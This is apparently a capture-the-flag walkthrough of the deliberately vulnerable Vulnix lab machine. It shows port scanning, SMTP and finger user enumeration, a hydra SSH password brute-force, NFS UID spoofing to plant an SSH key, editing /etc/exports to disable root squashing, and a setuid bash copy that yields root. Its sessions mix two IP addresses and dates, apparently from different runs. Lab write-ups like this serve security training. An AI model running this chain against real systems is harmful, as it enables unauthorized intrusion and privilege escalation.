Vulnix

Ssh, finger, smtp, hydra, root squashing,

```
root@kali:~# nmap -Pn 192.168.141.134
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-12 15:09 CST
Nmap scan report for 192.168.141.134
Host is up (0.0028s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
79/tcp   open  finger
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
993/tcp  open  imaps
995/tcp  open  pop3s
2049/tcp open  nfs
MAC Address: 00:0C:29:3E:75:AC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
root@kali:~# nmap -O 192.168.141.134
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-12 15:09 CST
Nmap scan report for 192.168.141.134
Host is up (0.0014s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
79/tcp   open  finger
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
993/tcp  open  imaps
995/tcp  open  pop3s
2049/tcp open  nfs
MAC Address: 00:0C:29:3E:75:AC (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
```

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds
root@kali:~#

msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 192.168.141.134
RHOSTS => 192.168.141.134
msf auxiliary(scanner/smtp/smtp_enum) > run
[*] 192.168.141.134:25 - 192.168.141.134:25 Banner: 220 vulnix ESMTP Postfix (Ubuntu)
[+] 192.168.141.134:25 - 192.168.141.134:25 Users found: , backup, bin, daemon, games, gnats, irc, libuuid, list, lp, mail, man, messagebus, news, nobody, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, www-data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smtp/smtp_enum) >

Found “user”. Let’s try Finger

root@kali:~# finger user@192.168.141.134
Login: user Name: user
Directory: /home/user Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: dovenull Name: Dovecot login user
Directory: /nonexistent Shell: /bin/false
Never logged in.
No mail.
No Plan.
root@kali:~#

root@kali:/mnt# rpcinfo -p 192.168.141.134
  program vers proto   port service
   100000   4   tcp   111 portmapper
   100000   3   tcp   111 portmapper
   100000   2   tcp   111 portmapper
   100000   4   udp   111 portmapper
   100000   3   udp   111 portmapper
   100000   2   udp   111 portmapper
   100024   1   udp 50161 status
   100024   1   tcp 51298 status
   100003   2   tcp   2049 nfs
   100003   3   tcp   2049 nfs
   100003   4   tcp   2049 nfs
   100227   2   tcp   2049
   100227   3   tcp   2049

```
   100003   2   udp   2049  nfs
   100003   3   udp   2049  nfs
   100003   4   udp   2049  nfs
   100227   2   udp   2049
   100227   3   udp   2049
   100021   1   udp  34799  nlockmgr
   100021   3   udp  34799  nlockmgr
   100021   4   udp  34799  nlockmgr
   100021   1   tcp  42794  nlockmgr
   100021   3   tcp  42794  nlockmgr
   100021   4   tcp  42794  nlockmgr
   100005   1   udp  40254  mountd
   100005   1   tcp  35364  mountd
   100005   2   udp  38167  mountd
   100005   2   tcp  56412  mountd
   100005   3   udp  40229  mountd
   100005   3   tcp  47023  mountd

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count ............. 1
Username count ........... 112
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain .............

######## Scan started at Tue Nov 13 13:48:37 2018 #########
192.168.141.134: ROOT exists
192.168.141.134: backup exists
192.168.141.134: bin exists
192.168.141.134: daemon exists
192.168.141.134: games exists
192.168.141.134: gnats exists
192.168.141.134: irc exists
192.168.141.134: list exists
192.168.141.134: libuuid exists
192.168.141.134: lp exists
192.168.141.134: mail exists
192.168.141.134: man exists
192.168.141.134: messagebus exists
192.168.141.134: nobody exists
```

192.168.141.134: news exists
192.168.141.134: postmaster exists
192.168.141.134: proxy exists
192.168.141.134: root exists
192.168.141.134: sshd exists
192.168.141.134: sys exists
192.168.141.134: sync exists
192.168.141.134: user exists
192.168.141.134: uucp exists
192.168.141.134: www-data exists
######## Scan completed at Tue Nov 13 13:48:43 2018 #########
24 results.

112 queries in 6 seconds (18.7 queries / sec)

Try Hydra?

hydra -t 5 -V -l user -P dict.txt 192.168.141.134 ssh

/0)
[ATTEMPT] target 192.168.141.134 - login "user" - pass "letmein" - 50 of 50 [child 2] (0/0)
[22][ssh] host: 192.168.141.134   login: user   password: letmein
1 of 1 target successfully completed, 1 valid password found

Let’s SSH

root@kali:~/Downloads# ssh user@192.168.141.134
The authenticity of host '192.168.141.134 (192.168.141.134)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.141.134' (ECDSA) to the list of known hosts.
user@192.168.141.134's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation: https://help.ubuntu.com/

  System information as of Mon Nov 12 15:40:00 GMT 2018

  System load: 0.0   Processes: 90
  Usage of /:   90.2% of 773MB   Users logged in: 0
  Memory usage: 8%   IP address for eth0: 192.168.141.134
  Swap usage: 0%

  => / is using 90.2% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

user@vulnix:~$

```
user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
user@vulnix:~$
```

```
root@kali:~# showmount -e 192.168.141.134
Export list for 192.168.141.134:
/home/vulnix *
root@kali:~#
```

Which means user vulnix is accessible from any host

We can perform a litle trick here. First of all let's add a user called vulnix on our local system with the same uid as the remote user called vulnix

```
root@kali:/mnt# ls
hgfs  vulnix
root@kali:/mnt# mount 192.168.141.134:/home/vulnix vulnix
root@kali:/mnt#
```

I check the `/etc/passwd` file on the victim server, and I find out that the user vulnix has UID 2008, so I create a user called `vulnix` on my local machine with UID as 2008 and try to access again the partition:

```
# mkdir /home/vulnix
# vim /etc/passwd
# su - vulnix
vulnix@karen:~$ cd /mnt/
vulnix@karen:/mnt$ ls -l
total 4
drwxr-x--- 2 4294967294 4294967294 4096 Sep  2  2012 vulnix
vulnix@karen:/mnt$ cd vulnix
vulnix@karen:/mnt/vulnix$ ls -la
total 20
drwxr-x--- 2 4294967294 4294967294 4096 Sep  2  2012 .
drwxr-xr-x 3 root       root       4096 Feb  6 17:48 ..
-rw-r--r-- 1 4294967294 4294967294  220 Apr  3  2012 .bash_logout
-rw-r--r-- 1 4294967294 4294967294 3486 Apr  3  2012 .bashrc
-rw-r--r-- 1 4294967294 4294967294  675 Apr  3  2012 .profile
```

I'm in, so I generate an SSH key to log in on the server as user `vulnix` without password:

```
this is on my local machine as myself, generating a new ssh-key:
# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
```

```
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
c0:62:1d:58:df:9e:ab:2d:cb:97:ac:65:5c:bf:3e:cf root@karen
The key's randomart image is:
+---[RSA 2048]----+
|     oo          |
|    .o o .       |
|    o + . .      |
|   . . . . .     |
|        S o .    |
|         . o .   |
|         .=.  .  |
|       ..=+   .o |
|        ==.  .ooE|
+-----------------+

# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RaeMdpTMXa+biV7pwsvAhzlf4XhMjO9Ia6
JM0zAgHN8JsW1FXVtxX90xBJ2CKrYu5aj7PYAlZDxoAMYYLF402pkwKU89j9U38malcuTWRNbj
6NNI3BeWRDcxdHsKu8b42xIFGKmBIitZRRCl4uKXDV/WIejdK9vWRTNaYZ9W33vwXEhjyYH/Hv
BhNpmYYMiqzahhRNqd1Ir6qtaVdQPE63Bu3EY9mfTg5XtnPQzoHlnCkDLFwBVrSPXHnnjnAoSN
oAc25ff0A6gveqnRAz8lWqOPJ5cruHzXE3ZOQXfTcH71h0a1uBEoMw9GPkuJM7ba6OwZALVEfO
15LkliBZ0t root@karen



and on another terminal as `vulnix` user, copying the generated ssh-key in
to the `/home/vulnix/.ssh/authorized_keys` file:
vulnix@karen:/mnt/vulnix$ mkdir .ssh
vulnix@karen:/mnt/vulnix$ cd .ssh
vulnix@karen:/mnt/vulnix/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABA
QC1RaeMdpTMXa+biV7pwsvAhzlf4XhMjO9Ia6JM0zAgHN8JsW1FXVtxX90xBJ2CKrYu5aj7PYA
lZDxoAMYYLF402pkwKU89j9U38malcuTWRNbj6NNI3BeWRDcxdHsKu8b42xIFGKmBIitZRRCl4
uKXDV/WIejdK9vWRTNaYZ9W33vwXEhjyYH/HvBhNpmYYMiqzahhRNqd1Ir6qtaVdQPE63Bu3EY
9mfTg5XtnPQzoHlnCkDLFwBVrSPXHnnjnAoSNoAc25ff0A6gveqnRAz8lWqOPJ5cruHzXE3ZOQ
XfTcH71h0a1uBEoMw9GPkuJM7ba6OwZALVEfO15LkliBZ0t root@karen" > authorized_k
eys
vulnix@karen:/mnt/vulnix/.ssh$
vulnix@karen:/mnt/vulnix/.ssh$ ls -l
total 4
-rw-r--r-- 1 4294967294 4294967294 392 Feb  6 19:17 authorized_keys



and then I login on the victim's machine as `vulnix`:
# ssh vulnix@192.168.56.103
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/
```

```
  System information as of Sat Feb  6 19:21:13 GMT 2016

  System load:  0.0               Processes:           88
  Usage of /:   90.2% of 773MB    Users logged in:     0
  Memory usage: 8%                IP address for eth0: 192.168.56.103
  Swap usage:   0%

  => / is using 90.2% of 773MB

  Graph this data and manage this system at https://landscape.canonical.co
m/


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

vulnix@vulnix:~$ whoami
vulnix
vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)

I don't know vulnix's password, but I find out that is a sudoer:
$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/us
r/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```

This is good, since `vulnix` can run a command to open /etc/exports even without typing a password. This is what I find:

```
$ sudoedit /etc/exports

# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix     *(rw,root_squash)
```

Remember what I said about `Root squashing` before? (thanks for the lession, Owen xD)
I replace the `root_squash` flag with `no_root_squash`. I need to cheat a bit since I don't have `vulnix`'s password and there's no way to export again the NFS partition without a sudo user executing the command `/usr/sbin/exportfs -a` or a machine reboot, so I reboot it manually (Boooooo, what a n0o0o0o0ob!!)
Once the machine has rebooted, I mount the partition again and access as local `root` user.
I check that the machine is up again (SORRY AGAIN!):

```
# ping -c 4 192.168.56.103
PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data.
64 bytes from 192.168.56.103: icmp_seq=1 ttl=64 time=1.25 ms
64 bytes from 192.168.56.103: icmp_seq=2 ttl=64 time=1.16 ms
64 bytes from 192.168.56.103: icmp_seq=3 ttl=64 time=1.19 ms
64 bytes from 192.168.56.103: icmp_seq=4 ttl=64 time=1.11 ms

--- 192.168.56.103 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3010ms
rtt min/avg/max/mdev = 1.115/1.182/1.257/0.066 ms
```

and I mount the partition again:

```
# mount 192.168.56.103:/home/vulnix /mnt/vulnix
```

Once mounted, I get a copy of the victim's machine local shell and I change the ownership and SID to the root one:

```
On the victim's machine, as `vulnix`:
$ cp /bin/bash local_shell

On my local machine, as `root`:
# ls -l
total 900
-rwxr-xr-x 1 4294967294 4294967294 920788 Feb  6 20:53 local_shell
root@karen:/mnt/vulnix# cat local_shell > spawn_root_shell
root@karen:/mnt/vulnix# chmod 4777 !$
chmod 4777 spawn_root_shell

On the victim's machine I then execute the shell keeping the original file's permissions with the flag `-p`:

$ ls -l
total 1800
-rwxr-xr-x 1 vulnix vulnix 920788 Feb  6 20:53 local_shell
-rwsrwxrwx 1 root   root   920788 Feb  6 20:54 spawn_root_shell
$ ./spawn_root_shell -p
```

```
spawn_root_shell-4.2# whoami
root
spawn_root_shell-4.2#
# cd /root/
spawn_root_shell-4.2# ls -l
total 4
-r-------- 1 root root 33 Sep  2  2012 trophy.txt
spawn_root_shell-4.2# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
```

This is a fairly advanced hacking challenge, which involves techniques of enumeration, password cracking and privilege escalation.